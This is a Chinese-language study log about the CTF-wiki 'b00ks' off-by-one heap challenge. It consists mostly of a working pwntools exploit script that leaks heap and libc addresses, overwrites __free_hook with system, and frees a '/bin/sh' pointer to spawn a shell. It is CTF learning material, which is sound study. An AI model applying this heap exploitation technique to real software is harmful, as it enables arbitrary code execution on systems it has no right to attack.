2020-11-10学习记录

CTFwiki上关于one by off的例题

 还是有些疑惑的,主要是所谓的mmap地址

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./b00ks')
elf=ELF('./b00ks')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
                                                                                                                      
def add(size_n,name,size_d,description):
    sh.recvuntil('> ')
    sh.sendline('1')
    sh.recv()
    sh.sendline(str(size_n))
    sh.recv()
    sh.sendline(name)
    sh.recv()
    sh.sendline(str(size_d))
    sh.recv()
    sh.sendline(description)

def delete(index):
    sh.recvuntil('> ')
    sh.sendline('2')
    sh.recv()
    sh.sendline(str(index))

def edit(index,description):
    sh.recvuntil('> ')
    sh.sendline('3')
    sh.recv()
    sh.sendline(str(index))
    sh.recv()
    sh.sendline(description)


def show():
    sh.recvuntil('> ')
    sh.sendline('4')

def rename(name):
    sh.recvuntil('> ')
    sh.sendline('5')
    sh.recv()
    sh.sendline(name)

def exit():
    sh.recvuntil('> ')
    sh.sendline('6')

sh.recv()
sh.sendline('a'*32)
add(128,'w'*127,128,'A'*0x50+p64(0)+p64(0x11)+p64(0)*2+'A'*15)
show()
sh.recvuntil('a'*32)
book1_addr=u64(sh.recvuntil('\n').split()[0].ljust(8,'\x00'))
print 'book1 addr is '+hex(book1_addr)

add(0x21000,'W'*(0x21000-1),0x21000,'V'*(0x21000-1))
payload='A'*0x50+p64(1)+p64(book1_addr+0x30+0x8)+p64(book1_addr+0x30+0x8)+p64(0x200)+'A'*0x10
edit(1,payload)
rename('a'*32)
show()
sh.recvuntil('Name: ')
book2_name_ptr=u64(sh.recvuntil('\n').split()[0].ljust(8,'\x00'))
print 'book2_name_ptr is '+hex(book2_name_ptr)

mmap_addr=0x7ffff7b0e740
mmap_addr=0x7ffff7fb7010
libcbase=book2_name_ptr-(mmap_addr-0x7ffff7a0d000)+0x1000
sys_addr=libcbase+libc.sym['system']
free_hook_addr=libcbase+libc.sym['__free_hook']
bin_sh_addr=libcbase+libc.search('/bin/sh').next()
print 'libcbase is '+hex(libcbase)

edit(1,p64(bin_sh_addr)+p64(free_hook_addr))
#gdb.attach(sh)
print '1' 
edit(2,p64(sys_addr))
print '2' 
print hex(bin_sh_addr)
print hex(free_hook_addr)
print hex(sys_addr)
gdb.attach(sh)
delete(2)
sh.interactive()
#x/20gx 0x555555756040
#x/100gx 0x555555757410  
#20 4000